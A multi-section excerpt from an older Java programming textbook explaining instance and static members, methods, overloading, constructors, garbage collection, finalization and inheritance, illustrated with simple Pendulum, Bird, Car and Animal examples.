As with variables, methods defined in a class are instance methods. An instance method is associated with an instance of the class, but each instance doesn't really have its own copy of the method. Instead, there's just one copy of the method, but it operates on the values of the instance variables of a particular object. As you'll see later when we talk about subclassing, there's more to learn about method selection.

Accessing Members

Inside of a class, we can access instance variables and call instance methods of the class directly by name. Here's an example that expands upon our Pendulum:

class Pendulum {
    ...
    void resetEverything() {
        cycles = 0;
        mass = 1.0;
        ...
        float startingPosition = position( 0.0 );
    }
    ...
}

Other classes generally access members of an object through a reference, using the C-style dot notation:

class TextBook {
    ...
    void showPendulum() {
        Pendulum bob = new Pendulum();
        ...
        int i = bob.cycles;
        bob.resetEverything();
        bob.mass = 1.01;
        ...
    }
    ...
}

Here we have created a second class, TextBook, that uses a Pendulum object. It creates an instance in showPendulum() and then invokes methods and accesses variables of the object through the reference bob.

Several factors affect whether class members can be accessed from outside the class. You can use the visibility modifiers, public, private, and protected to restrict access; classes can also be placed into packages that affect their scope. The private modifier, for example, designates a variable or method for use only by other members inside the class itself. In the previous example, we could change the declaration of our variable cycles to private:

class Pendulum {
    ...
    private int cycles;
    ...

Now we can't access cycles from TextBook:

class TextBook {
    ...
    void showPendulum() {
        ...
        int i = bob.cycles;         // Compile time error

If we need to access cycles, we might add a getCycles() method to the Pendulum class. We'll look at access modifiers and how they affect the scope of variables and methods in detail later.

Static Members

Instance variables and methods are associated with and accessed through a particular object. In contrast, members that are declared with the static modifier live in the class and are shared by all instances of the class. Variables declared with the static modifier are called static variables or class variables ; similarly, these kinds of methods are called static methods or class methods.

We can add a static variable to our Pendulum example:

class Pendulum {
    ...
    static float gravAccel = 9.80;
    ...

We have declared the new float variable gravAccel as static. That means if we change its value in any instance of a Pendulum, the value changes for all Pendulum objects, as shown in Figure 5.2.

Figure 5.2: A static variable

[Graphic: Figure 5-2]

Static members can be accessed like instance members. Inside our Pendulum class, we can refer to gravAccel by name, like an instance variable:

class Pendulum {
    ...
    float getWeight () {
        return mass * gravAccel;
    }
    ...
}

However, since static members exist in the class itself, independent of any instance, we can also access them directly through the class. We don't need a Pendulum object to set the variable gravAccel; instead we can use the class name as a reference:

Pendulum.gravAccel = 8.76;

This changes the value of gravAccel for any current or future instances. Why, you may be wondering, would we want to change the value of gravAccel? Well, perhaps we want to explore how pendulums would work on different planets. Static variables are also very useful for other kinds of data shared among classes at run-time. For instance you can create methods to register your objects so that they can communicate or you can count references to them.

We can use static variables to define constant values. In this case, we use the static modifier along with the final modifier. So, if we cared only about pendulums under the influence of the Earth's gravitational pull, we could change Pendulum as follows:

class Pendulum {
    ...
    static final float EARTH_G = 9.80;
    ...

We have followed a common convention and named our constant with capital letters; C programmers should recognize the capitalization convention, which resembles C #define statements. Now the value of EARTH_G is a constant; it can be accessed by any instance of Pendulum (or anywhere, for that matter), but its value can't be changed at run-time.

It's important to use the combination of static and final only for things that are really constant. That's because, unlike other kinds of variable references, the compiler is allowed to "inline" those values within classes that reference them. This is probably OK for things like PI, which aren't likely to change for a while, but may not be ideal for other kinds of identifiers, such as we'll discuss below.

Static members are useful as flags and identifiers, which can be accessed from anywhere. These are especially useful for values needed in the construction of an instance itself. In our example, we might declare a number of static values to represent various kinds of Pendulum objects:

class Pendulum {
    ...
    static int SIMPLE = 0, ONE_SPRING = 1, TWO_SPRING = 2;
    ...

We might then use these flags in a method that sets the type of a Pendulum or, more likely, in a special constructor, as we'll discuss shortly:

Pendulum pendy = new Pendulum();
pendy.setType( Pendulum.ONE_SPRING );

Remember, inside the Pendulum class, we can use static members directly by name as well:

class Pendulum {
    ...
    void resetEverything() {
        setType ( SIMPLE );
        ...
    }
    ...
}

Previous | Home | Next
Arrays | Book Index | Methods
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.2 Methods

Previous Chapter 5
Objects in Java 		Next

5.2 Methods

Methods appear inside class bodies. They contain local variable declarations and other Java statements that are executed by a calling thread when the method is invoked. Method declarations in Java look like ANSI C-style function declarations with two restrictions:

  • A method in Java always specifies a return type (there's no default). The returned value can be a primitive numeric type, a reference type, or the type void, which indicates no returned value.

  • A method always has a fixed number of arguments. The combination of method overloading and true arrays removes most of the need for a variable number of arguments. These techniques are type-safe and easier to use than C's variable argument list mechanism.

Here's a simple example:

class Bird {
    int xPos, yPos;

    double fly ( int x, int y ) {
        double distance = Math.sqrt( x*x + y*y );
        flap( distance );
        xPos = x;
        yPos = y;
        return distance;
    }
    ...
}

In this example, the class Bird defines a method, fly(), that takes as arguments two integers: x and y. It returns a double type value as a result.

Local Variables

The fly() method declares a local variable called distance that it uses to compute the distance flown. A local variable is temporary; it exists only within the scope of its method. Local variables are allocated and initialized when a method is invoked; they are normally destroyed when the method returns. They can't be referenced from outside the method itself. If the method is executing concurrently in different threads, each thread has its own copies of the method's local variables. A method's arguments also serve as local variables within the scope of the method.

An object created within a method and assigned to a local variable may or may not persist after the method has returned. As with all objects in Java, it depends on whether any references to the object remain. If an object is created, assigned to a local variable, and never used anywhere else, that object will no longer be referenced when the local variable is destroyed, so garbage collection will remove the object. If, however, we assign the object to an instance variable, pass it as an argument to another method, or pass it back as a return value, it may be saved by another variable holding its reference. We'll discuss object creation and garbage collection in more detail shortly.

Shadowing

If a local variable and an instance variable have the same name, the local variable shadows or hides the name of the instance variable within the scope of the method. In the following example, the local variables xPos and yPos hide the instance variables of the same name:

class Bird {
    int xPos, yPos;
    int xNest, yNest;
    ...
    double flyToNest() {
        int xPos = xNest;
        int yPos = yNest:
        return ( fly( xPos, yPos ) );
    }
    ...
}

When we set the values of the local variables in flyToNest(), it has no effect on the values of the instance variables.

this

The special reference this refers to the current object. You can use it any time you need to refer explicitly to the current object instance. Often, you don't need to use this because the reference to the current object is implicit; this is the case with using instance variables and methods inside of a class. But we can use this to refer explicitly to instance variables in the object, even if they are shadowed.

The subsequent example shows how we can use this to allow us argument names that shadow instance variable names. This is a fairly common technique, as it saves your having to deliberately make up alternate names (as we'll try to emphasize in this book, names are important). Here's how we could implement our fly() method with shadowed variables:

class Bird {
    int xPos, yPos;

    double fly ( int xPos, int yPos ) {
        double distance = Math.sqrt( xPos*xPos + yPos*yPos );
        flap( distance );
        this.xPos = xPos;
        this.yPos = yPos;
        return distance;
    }
    ...
}

In this example, the expression this.xPos refers to the instance variable xPos and assigns it the value of the local variable xPos, which would otherwise hide its name. The only reason we need to use this in the above example is because we've used argument names that hide our instance variables, and we want to refer to the instance variables.

Static Methods

Static methods (class methods), like static variables, belong to the class and not to an individual instance of the class. What does this mean? Well, foremost, a static method lives outside of any particular class instance. It can be invoked by name, through the class name, without any objects around. Because it is not bound to a particular object instance, a static method can only directly access other static members of classes. It can't directly see any instance variables or call any instance methods, because to do so we'd have to ask: "on which instance?" Static methods can be called from instances, just like instance methods, but the important thing is that they can also be used independently.

Our fly() method uses a static method: Math.sqrt(). This method is defined by the java.lang.Math class; we'll explore this class in detail in Chapter 7, Basic Utility Classes. For now, the important thing to note is that Math is the name of a class and not an instance of a Math object (you can't even make an instance of Math). Because static methods can be invoked wherever the class name is available, class methods are closer to normal C-style functions. Static methods are particularly useful for utility methods that perform work that might be useful either independently of instances of the class or in creating instances of the class.

For example, in our Bird class we can enumerate all types of birds that can be created:

class Bird {
    ...
    static String [] getBirdTypes( ) {
    String [] types;
    // Create list...
        return types;
    }
    ...
}

Here we've defined a static method getBirdTypes() that returns an array of strings containing bird names. We can use getBirdTypes() from within an instance of Bird, just like an instance method. However, we can also call it from other classes, using the Bird class name as a reference:

String [] names = Bird.getBirdTypes();

Perhaps a special version of the Bird class constructor accepts the name of a bird type. We could use this list to decide what kind of bird to create.

Local Variable Initialization

In the flyToNest() example, we made a point of initializing the local variables xPos and yPos. Unlike instance variables, local variables must be initialized before they can be used. It's a compile-time error to try to access a local variable without first assigning it a value:

void myMethod() {
    int foo = 42;
    int bar;

    // bar += 1;       // Compile time error, bar uninitialized

    bar = 99;
    bar += 1;       // ok here
}

Notice that this doesn't imply local variables have to be initialized when declared, just that the first time they are referenced must be in an assignment. More subtle possibilities arise when making assignments inside of conditionals:

void myMethod {
    int foo;

    if ( someCondition ) {
        foo = 42;
        ...
    }

    foo += 1;                  // Compile time error
                               // foo may not have been initialized

In the above example, foo is initialized only if someCondition is true. The compiler doesn't let you make this wager, so it flags the use of foo as an error. We could correct this situation in several ways. We could initialize the variable to a default value in advance or move the usage inside of the conditional. We could also make sure the path of execution doesn't reach the uninitialized variable through some other means, depending on what makes sense for our particular application. For example, we could return from the method abruptly:

int foo;
...
if ( someCondition ) {
    foo = 42;
    ...
} else
    return;

foo += 1;

In this case, there's no chance of reaching foo in an unused state and the compiler allows the use of foo after the conditional.

Why is Java so picky about local variables? One of the most common (and insidious) sources of error in C or C++ is forgetting to initialize local variables, so Java tries to help us out. If it didn't, Java would suffer the same potential irregularities as C or C++.[2]

[2] As with malloc'ed storage in C or C++, Java objects and their instance variables are allocated on a heap, which allows them default values once, when they are created. Local variables, however, are allocated on the Java virtual machine stack. As with the stack in C and C++, failing to initialize these could mean successive method calls could receive garbage values, and program execution might be inconsistent or implementation dependent.

Argument Passing and References

Let's consider what happens when you pass arguments to a method. All primitive data types (e.g., int, char, float) are passed by value. Now you're probably used to the idea that reference types (i.e., any kind of object, including arrays and strings) are used through references. An important distinction (that we discussed briefly in Chapter 4) is that the references themselves (the pointers to these objects) are actually primitive types, and are passed by value too.

Consider the following piece of code:

// somewhere
    int i = 0;
    SomeKindOfObject obj = new SomeKindOfObject();
    myMethod( i, obj );
    ...
void myMethod(int j, SomeKindOfObject o) {
    ...
}

The first chunk of code calls myMethod(), passing it two arguments. The first argument, i, is passed by value; when the method is called, the value of i is copied into the method's parameter j. If myMethod() changes the value of i, it's changing only its copy of the local variable.

In the same way, a copy of the reference to obj is placed into the reference variable o of myMethod(). Both references refer to the same object, of course, and any changes made through either reference affect the actual (single) object instance, but there are two copies of the pointer. If we change the value of, say, o.size, the change is visible through either reference. However, if myMethod() changes the reference o itself--to point to another object--it's affecting only its copy. In this sense, passing the reference is like passing a pointer in C and unlike passing by reference in C++.

What if myMethod() needs to modify the calling method's notion of the obj reference as well (i.e., make obj point to a different object)? The easy way to do that is to wrap obj inside some kind of object. A good candidate would be to wrap the object up as the lone element in an array:

SomeKindOfObject [] wrapper = { obj };

All parties could then refer to the object as wrapper[0] and would have the ability to change the reference. This is not very asthetically pleasing, but it does illustrate that what is needed is the level of indirection. Another possibility is to use this to pass a reference to the calling object.

Let's look at another piece of code that could be from an implementation of a linked list:

class Element {
    public Element nextElement;

    void addToList( List list ) {
        list.addToList( this );
    }
}

class List {
    void addToList( Element element ) {
        ...
        element.nextElement = getNextElement();
    }
}

Every element in a linked list contains a pointer to the next element in the list. In this code, the Element class represents one element; it includes a method for adding itself to the list. The List class itself contains a method for adding an arbitrary Element to the list. The method addToList() calls addToList() with the argument this (which is, of course, an Element). addToList() can use the this reference to modify the Element's nextElement instance variable. The same technique can be used in conjunction with interfaces to implement callbacks for arbitrary method invocations.

Method Overloading

Method overloading is the ability to define multiple methods with the same name in a class; when the method is invoked, the compiler picks the correct one based on the arguments passed to the method. This implies, of course, that overloaded methods must have different numbers or types of arguments. In a later section we'll look at method overriding, which occurs when we declare methods with identical signatures in different classes.

Method overloading is a powerful and useful feature. It's another form of polymorphism (ad-hoc polymorphism). The idea is to create methods that act in the same way on different types of arguments and have what appears to be a single method that operates on any of the types. The Java PrintStream's print() method is a good example of method overloading in action. As you've probably deduced by now, you can print a string representation of just about anything using the expression:

System.out.print( argument )

The variable out is a reference to an object (a PrintStream) that defines nine different versions of the print() method. They take, respectively, arguments of the following types: Object, String, char[], char, int, long, float, double, and boolean.

class PrintStream {
    void print( Object arg ) { ... }
    void print( String arg ) { ... }
    void print( char [] arg ) { ... }
    ...
}

You can invoke the print() method with any of these types as an argument, and it's printed in an appropriate way. In a language without method overloading, this would require something more cumbersome, such as a separate method for printing each type of object. Then it would be your responsibility to remember what method to use for each data type.

In the above example, print() has been overloaded to support two reference types: Object and String. What if we try to call print() with some other reference type? Say, perhaps, a Date object? The answer is that since Date is a subclass of Object, the Object method is selected. When there's not an exact type match, the compiler searches for an acceptable, assignable match. Since Date, like all classes, is a subclass of Object, a Date object can be assigned to a variable of type Object. It's therefore an acceptable match, and the Object method is selected.

But what if there's more than one possible match? Say, for example, we tried to print a subclass of String called MyString. (Of course, the String class is final, so it can't be subclassed, but allow me this brief transgression for purposes of explanation.) MyString is assignable to either String or to Object. Here the compiler makes a determination as to which match is "better" and selects that method. In this case it's the String method.

The intuitive explanation is that the String class is closer to MyString in the inheritance hierarchy. It is a more specific match. A more rigorous way of specifying it would be to say that a given method is more specific than another method with respect to some arguments it wants to accept if the argument types of the first method are all assignable to the argument types of the second method. In this case, the String method is more specific to a subclass of String than the Object method because type String is assignable to type Object. The reverse is obviously not true.

If you're paying close attention, you may have noticed I said that the compiler resolves overloaded methods. Method overloading is not something that happens at run-time; this is an important distinction. It means that the selected method is chosen once, when the code is compiled. Once the overloaded method is selected, the choice is fixed until the code is recompiled, even if the class containing the called method is later revised and an even more specific overloaded method is added. This is in contrast to overridden (virtual) methods, which are located at run-time and can be found even if they didn't exist when the calling class was compiled. We'll talk about method overriding later in the chapter.

One last note about overloading. In earlier chapters, we've pointed out that Java doesn't support programmer-defined overloaded operators, and that + is the only system-defined overloaded operator. If you've been wondering what an overloaded operator is, I can finally clear up that mystery. In a language like C++, you can customize operators such as + and * to work with objects that you create. For example, you could create a class Complex that implements complex numbers, and then overload methods corresponding to + and * to add and multiply Complex objects. Some people argue that operator overloading makes for elegant and readable programs, while others say it's just "syntactic sugar" that makes for obfuscated code. The Java designers clearly espoused the later opinion when they chose not to support programmer-defined overloaded operators.

Previous | Home | Next
Classes | Book Index | Object Creation
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.3 Object Creation

Previous Chapter 5
Objects in Java 		Next

5.3 Object Creation

Objects in Java are allocated from a system heap space, much like malloc'ed storage in C or C++. Unlike C or C++, however, we needn't manage that memory ourselves. Java takes care of memory allocation and deallocation for you. Java explicitly allocates storage for an object when you create it with the new keyword. More importantly, objects are removed by garbage collection when they're no longer referenced.

Constructors

You allocate an object by specifying the new operator with an object constructor. A constructor is a special method with the same name as its class and no return type. It's called when a new class instance is created, which gives the class an opportunity to set up the object for use. Constructors, like other methods, can accept arguments and can be overloaded (they are not, however, inherited like other methods; we'll discuss inheritance later).

class Date {
    long time;

    Date() {
        time = currentTime();
    }

    Date( String date ) {
        time = parseDate( date );
    }
    ...
}

In the above example, the class Date has two constructors. The first takes no arguments; it's known as the default constructor. Default constructors play a special role in that, if we don't define any constructors for a class, an empty default constructor is supplied for us. The default constructor is what gets called whenever you create an object by calling its constructor with no arguments. Here we have implemented the default constructor so that it sets the instance variable time by calling a hypothetical method: currentTime(), which resembles the functionality of the real java.util.Date class.

The second constructor takes a String argument. Presumably, this String contains a string representation of the time that can be parsed to set the time variable.

Given the constructors above, we create a Date object in the following ways:

Date now = new Date();
Date christmas = new Date("Dec 25, 1997");

In each case, Java chooses the appropriate constructor at compile-time based on the rules for overloaded method selection.

If we later remove all references to an allocated object, it'll be garbage collected, as we'll discuss shortly:

christmas = null;          // fair game for the garbage collector

Setting the above reference to null means it's no longer pointing to the "Dec 25, 1997" object. Unless that object is referenced by another variable, it's now inaccessible and can be garbage collected. Actually, setting christmas to any other value would have the same results, but using the value null is a clear way to indicate that christmas no longer has a useful value.

A few more notes about constructors. Constructors can't be abstract, synchronized, or final. Constructors can, however, be declared with the visibility modifiers public, private, or protected, to control their accessibility. We'll talk in detail about visibility modifiers later in the chapter.

Working with Overloaded Constructors

A constructor can refer to another constructor in the same class or the immediate superclass using special forms of the this and super references. We'll discuss the first case here, and return to that of the superclass constructor again after we have talked more about subclassing and inheritance.

A constructor can invoke another, overloaded constructor in its class using the reference this() with appropriate arguments to select the desired constructor. If a constructor calls another constructor, it must do so as its first statement (we'll explain why in a bit):

class Car {
    String model;
    int doors;

    Car( String m, int d ) {
        model = m;
        doors = d;
        // other, complicated setup
        ...
    }

    Car( String m ) {
        this( m, 4 );
    }
    ...
}

In the example above, the class Car has two overloaded constructors. The first, more explicit one, accepts arguments specifying the car's model and its number of doors and uses them to set up the object. We have also provided a simpler constructor that takes just the model as an argument and, in turn, calls the first constructor with a default value of four doors. The advantage of this approach is that you can have a single constructor do all the complicated setup work; other auxiliary constructors simply feed the appropriate arguments to that constructor.

The important point is the call to this(), which must appear as the first statement our second constructor. The syntax is restricted in this way because there's a need to identify a clear chain of command in the calling of constructors. At one end of the chain, Java invokes the constructor of the superclass (if we don't do it explicitly) to ensure that inherited members are initialized properly before we proceed. There's also a point in the chain, just after the constructor of the superclass is invoked, where the initializers of the current class's instance variables are evaluated. Before that point, we can't even reference the instance variables of our class. We'll explain this situation again in complete detail after we have talked about inheritance.

For now, all you need to know is that you can invoke a second constructor only as the first statement of another constructor. In addition, you can't do anything at that point other than pass along arguments of the current constructor. For example, the following is illegal and causes a compile-time error:

Car( String m ) {
    int doors = determineDoors();
    this( m, doors );   // Error
}                       // Constructor call must be first statement

The simple model name constructor can't do any additional setup before calling the more explicit constructor. It can't even refer to an instance member for a constant value:

class Car {
    ...
    final int default_doors = 4;
    ...

    Car( String m ) {
        this( m, default_doors ); // Error
                                  // Referencing uninitialized variable
    }
    ...
}

The instance variable defaultDoors above is not initialized until a later point in the chain of constructor calls, so the compiler doesn't let us access it yet. Fortunately, we can solve this particular problem by making the identifier static as well:

class Car {
    ...
    static final int DEFAULT_DOORS = 4;
    ...

    Car( String m ) {
        this( m, DEFAULT_DOORS );  // Okay now
    }
    ...
}

The static members of our class have been initialized for some time (since the class was first loaded), so it's safe to access them.

Static and Nonstatic Code Blocks

It's possible to declare a code block (some statements within curly braces) directly within the scope of a class. This code block doesn't belong to any method; instead, it's executed just once, at the time the object is constructed, or, in the case of a code block marked static, at the time the class is loaded.

Nonstatic code blocks can be thought of as just an extension of instance variable initialization. They are called at the time the instance variable's initializers are evaluated (after superclass construction), in the textual order in which they appear in the class source.

class MyClass {
    Properties myProps = new Properties();
    // set up myProps
    {
        myProps.put("foo", "bar);
        myProps.put("boo", "gee);
    }
    int a = 5;
    ...

You can use static code blocks to initialize static class members in this way. So the static members of a class can have complex initialization just like objects:

class ColorWheel {
    static Hashtable colors = new Hashtable();

    // set up colors
    static {
        colors.put("Red", Color.red );
        colors.put("Green", Color.green );
        colors.put("Blue", Color.blue );
        ...
    }
    ...
}

In the above example, the class ColorWheel provides a variable colors that maps the names of colors to Color objects in a Hashtable. The first time the class ColorWheel is referenced and loaded, the static components of ColorWheel are evaluated, in the order they appear in the source. In this case, the static code block simply adds elements to the colors Hashtable.

Previous | Home | Next
Methods | Book Index | Object Destruction
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.4 Object Destruction

Previous Chapter 5
Objects in Java 		Next

5.4 Object Destruction

Now that we've seen how to create objects, it's time to talk about their destruction. If you're accustomed to programming in C or C++, you've probably spent time hunting down memory leaks in your code. Java takes care of object destruction for you; you don't have to worry about memory leaks, and you can concentrate on more important programming tasks.

Garbage Collection

Java uses a technique known as garbage collection to remove objects that are no longer needed. The garbage collector is Java's grim reaper. It lingers, usually in a low priority thread, stalking objects and awaiting their demise. It finds them, watches them, and periodically counts references to them to see when their time has come. When all references to an object are gone, and it's no longer accessible, the garbage-collection mechanism reclaims it and returns the space to the available pool of resources.

There are many different algorithms for garbage collection; the Java virtual machine architecture doesn't specify a particular scheme. It's worth noting, though, that current implementations of Java use a conservative mark and sweep system. Under this scheme, Java first walks through the tree of all accessible object references and marks them as alive. Then Java scans the heap looking for identifiable objects that aren't so marked. Java finds objects on the heap because they are stored in a characteristic way and have a particular signature of bits in their handles unlikely to be reproduced naturally. This kind of algorithm doesn't suffer from the problem of cyclic references, where detached objects can mutually reference each other and appear alive.

By default, the Java virtual machine is configured to run the garbage collector in a low-priority thread, so that the garbage collector runs periodically to collect stray objects. With the java interpreter that comes with the JDK, you can turn off garbage collection by using the -noasyncgc command-line option. If you do this, the garbage collector will be run only if it's requested explicitly or if the Java virtual machine runs out of memory.

A Java application can prompt the garbage collector to make a sweep explicitly by invoking the System.gc() method. An extremely time-sensitive Java application might use this to its advantage by running in an interpreter with asynchronous garbage collection deactivated and scheduling its own cleanup periods. This issue is necessarily implementation dependent, however, because on different platforms, garbage collection may be implemented in different ways. On some systems it may be continuously running in hardware.

Finalization

Before a method is removed by garbage collection, its finalize() method is invoked to give it a last opportunity to clean up its act and free other kinds of resources it may be holding. While the garbage collector can reclaim memory resources, it may not take care of things like closing files and terminating network connections very gracefully or efficiently. That's what the finalize() method is for.

An object's finalize() method is guaranteed to be called once and only once before the object is garbage collected. However there's no guarantee as to if or when that will happen. Garbage collection may never run on a system that is not short of memory. It is also interesting to note that finalization and collection occur in two distinct phases of the garbage-collection process. First items are finalized, then they are collected. It is therefore possible that finalization could (intentionally or unintentionally) create a lingering reference to the object in question, postponing its garbage collection. The object could, of course, be subject to collection later, if the reference goes away, but its finalize() method would not be called again.

Lastly, unlike constructors, the finalize() methods of superclasses are not invoked automatically for you. If you need to chain together the finalization of your parent classes, you should invoke the finalize() method of your superclass, using super().finalize(). See the following sections on inheritance and overridden methods.

Previous | Home | Next
Object Creation | Book Index | Subclassing and Inheritance
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.5 Subclassing and Inheritance

Previous Chapter 5
Objects in Java 		Next

5.5 Subclassing and Inheritance

Classes in Java exist in a class hierarchy. A class in Java can be declared as a subclass of another class using the extends keyword. A subclass inherits variables and methods from its superclass and uses them as if they're declared within the subclass itself:

class Animal {
    float weight;
    ...
    void eat() {
        ...
    }
    ...
}

class Mammal extends Animal {
    int heartRate;
    // inherits weight
    ...
    void breathe() {
        ...
    }
    // inherits eat()
}

In the above example, an object of type Mammal has both the instance variable weight and the method eat(). They are inherited from Animal.

A class can extend only one other class. To use the proper terminology, Java allows single inheritance of class implementation. Later we'll talk about interfaces, which take the place of multiple inheritance as it's primarily used in C++.

A subclass can, of course, be further subclassed. Normally, subclassing specializes or refines a class by adding variables and methods:

class Cat extends Mammal {
    boolean longHair;
    // inherits weight and heartRate
    ...
    void purr() {
        ...
    }
    // inherits eat() and breathe()
}

The Cat class is a type of Mammal that is ultimately a type of Animal. Cat objects inherit all the characteristics of Mammal objects and, in turn, Animal objects. Cat also provides additional behavior in the form of the purr() method and the longHair variable. We can denote the class relationship in a diagram, as shown in Figure 5.3.

Figure 5.3: A class hierarchy

[Graphic: Figure 5-3]

A subclass inherits all members of its superclass not designated as private. As we'll discuss shortly, other levels of visibility affect what inherited members of the class can be seen from outside of the class and its subclasses, but at a minimum, a subclass always has the same set of visible members as its parent. For this reason, the type of a subclass can be considered a subtype of its parent, and instances of the subtype can be used anywhere instances of the supertype are allowed. For example:

Cat simon = new Cat();
Animal creature = simon;

The Cat simon in the above example can be assigned to the Animal type variable creature because Cat is a subtype of Animal.

Shadowed Variables

In the previous section on methods, we saw that a local variable of the same name as an instance variable hides the instance variable. Similarly, an instance variable in a subclass can shadow an instance variable of the same name in its parent class, as shown in Figure 5.4.

Figure 5.4: The scope of shadowed variables

[Graphic: Figure 5-4]

In Figure 5.4, the variable weight is declared in three places: as a local variable in the method foodConsumption() of the class Mammal, as an instance variable of the class Mammal, and as an instance variable of the class Animal. The actual variable selected depends on the scope in which we are working.

In the above example, all variables were of the same type. About the only reason for declaring a variable with the same type in a subclass is to provide an alternate initializer. A more important use of shadowed variables involves changing their types. We could, for example, shadow an int variable with a double variable in a subclass that needs decimal values instead of integer values. We do this without changing the existing code because, as its name suggests, when we shadow variables, we don't replace them but instead mask them. Both variables still exist; methods of the superclass see the original variable, and methods of the subclass see the new version. The determination of what variables the various methods see is static and happens at compile-time.

Here's a simple example:

class IntegerCalculator {
    int sum;
    ...
}

class DecimalCalculator extends IntegerCalculator {
    double sum;
    ...
}

In this example, we override the instance variable sum to change its type from int to double.[3] Methods defined in the class IntegerCalculator see the integer variable sum, while methods defined in DecimalCalculator see the decimal variable sum. However, both variables actually exist for a given instance of DecimalCalculator, and they can have independent values. In fact, any methods that DecimalCalculator inherits from IntegerCalculator actually see the integer variable sum.

[3] Note that a better way to design our calculators would be to have an abstract Calculator class with two subclasses: IntegerCalculator and DecimalCalculator.

Since both variables exist in DecimalCalculator, we need to reference the variable inherited from IntegerCalculator. We do that using the super reference:

int s = super.sum

Inside of DecimalCalculator, the super keyword used in this manner refers to the sum variable defined in the superclass. I'll explain the use of super more fully in a bit.

Another important point about shadowed variables has to do with how they work when we refer to an object by way of a less derived type. For example, we can refer to a DecimalCalculator object as an IntegerCalculator. If we do so and then access the variable sum, we get the integer variable, not the decimal one:

DecimalCalculator dc = new DecimalCalculator();
IntegerCalculator ic = dc;

int s = ic.sum;                  // Accesses IntegerCalculator sum

After this detailed explanation, you may still be wondering what shadowed variables are good for. Well, to be honest, the usefulness of shadowed variables is limited, but it's important to understand the concepts before we talk about doing the same thing with methods. We'll see a different and more dynamic type of behavior with method shadowing, or more correctly, method overriding.

Overriding Methods

In a previous section, we saw we could declare overloaded methods (i.e., methods with the same name but a different number or type of arguments) within a class. Overloaded method selection works the way I described on all methods available to a class, including inherited ones. This means that a subclass can define some overloaded methods that augment the overloaded methods provided by a superclass.

But a subclass does more than that; it can define a method that has exactly the same method signature (arguments and return type) as a method in its superclass. In that case, the method in the subclass overrides the method in the superclass and effectively replaces its implementation, as shown in Figure 5.5. Overriding methods to change the behavior of objects is another form of polymorphism (sub-type polymorphism): the one most people think of when they talk about the power of object-oriented languages.

Figure 5.5: Method overriding

[Graphic: Figure 5-5]

In Figure 5.5, Mammal overrides the reproduce() method of Animal, perhaps to specialize the method for the peculiar behavior of Mammals giving live birth.[4] The Cat object's sleeping behavior is overridden to be different from that of a general Animal, perhaps to accommodate cat naps. The Cat class also adds the more unique behaviors of purring and hunting mice.

[4] We'll ignore the platypus, which is an obscure nonovoviviparous mammal.

From what you've seen so far, overridden methods probably look like they shadow methods in superclasses, just as variables do. But overridden methods are actually more powerful than that. An overridden method in Java acts like a virtual method in C++. When there are multiple implementations of a method in the inheritance hierarchy of an object, the one in the most derived class always overrides the others, even if we refer to the object by way of a less derived type. In other words, if we have a Cat instance assigned to a variable of the more general type Animal and we call its sleep() method, we get the sleep() method implemented in the Cat class, not the one in Animal:

Cat simon = new Cat();
Animal creature = simon;

creature.sleep();          // Accesses Cat sleep();

In other respects, the variable creature looks like an Animal. For example, access to a shadowed variable would find the implementation in the Animal class, not the Cat class. However, because methods are virtual, the appropriate method in the Cat class can be located, even though we are dealing with an Animal object. This means we can deal with specialized objects as if they were more general types of objects and still take advantage of their specialized implementations of behavior.

Much of what you'll be doing when you're writing a Java applet or application is overriding methods defined by various classes in the Java API. For example, think back to the applets we developed in the tutorial in Chapter 2, A First Applet. Almost all of the methods we implemented for those applets were overridden methods. Recall that we created a subclass of Applet for each of the examples. Then we overrode various methods: init() set up our applet, mouseDrag() to handle mouse movement, and paint() to draw our applet.

A common programming error in Java (at least for me) is to miss and accidentally overload a method when trying to override it. Any difference in the number or type of arguments or the return type of a method produces two overloaded methods instead of a single, overridden method. Make it a habit to look twice when overriding methods.

Overridden methods and dynamic binding

In a previous section, I mentioned that overloaded methods are selected by the compiler at compile-time. Overridden methods, on the other hand, are selected dynamically at run-time. Even if we create an instance of a subclass our code has never seen before (perhaps a new object type loaded from the network), any overridden methods that it contains will be located and invoked at run-time to replace those that existed when we last compiled our code.

In contrast, if we load a new class that implements an additional, more specific overloaded method, our code will continue to use the implementation it discovered at compile-time. Another effect of this is that casting (i.e., explicitly telling the compiler to treat an object as one of its assignable types) affects the selection of overloaded methods, but not overridden methods.

Static method binding

Static methods do not belong to any object instance, they are accessed directly through a class name, so they are not dynamically selected at run-time like instance methods. That is why static methods are called "static"--they are always bound at compile time.

A static method in a superclass can be shadowed by another static method in a subclass, as long as the original method was not declared final. However, you can't override a static method with a nonstatic method. In other words, you can't change a static method into an instance method in a subclass.

Dynamic method selection and peformance

When Java has to dynamically search for overridden methods in subclasses, there's a small performance penalty. In languages like C++, the default is for methods to act like shadowed variables, so you have to explicitly declare the methods you want to be virtual. Java is more dynamic, and the default is for all instance methods to be virtual. In Java you can, however, go the other direction and explicitly declare that an instance method can't be overridden, so that it will not be subject to dynamic binding and will not suffer in terms of performance. This is done with the final modifier. We have seen final used with variables to effectively make them constants. When final is applied to a method, it means that that method can't be overridden (in some sense, its implementation is constant). final can also be applied to an entire class, which means the class can't be subclassed.

Compiler optimiziations

When javac, the Java compiler, is run with the -O switch, it performs certain optimizations. It can inline final methods to improve performance (while slightly increasing the size of the resulting class file). private methods, which are effectively final, can also be inlined, and final classes may also benefit from more powerful optimizations.

Another kind of optimization allows you to include debugging code in your Java source without penalty. Java doesn't have a pre-processor, to explicitly control what source is included, but you can get some of the same effects by making a block of code conditional on a constant (i.e., static and final) variable. The Java compiler is smart enough to remove this code when it determines that it won't be called. For example:

static final boolean DEBUG = false;
...
static void debug (String message) {
    if (DEBUG) {
        System.err.println(message);
        // do other stuff
        ...
    }
}

If we compile the above code using the -O switch, the compiler will recognize that the condition on the DEBUG variable is always false, and the body of the debug() method will be optimized away. But that's not all--since debug() itself is also final it can be inlined, and an empty inlined method generates no code at all. So, when we compile with DEBUG set to false, calls to the debug() method will generate no residual code at all.

Method selection revisited

By now you should have a good, intuitive idea as to how methods are selected from the pool of potentially overloaded and overridden method names of a class. If, however, you are dying for a dry definition, I'll provide one now. If you are satisfied with your understanding, you may wish to skip this little exercise in logic.

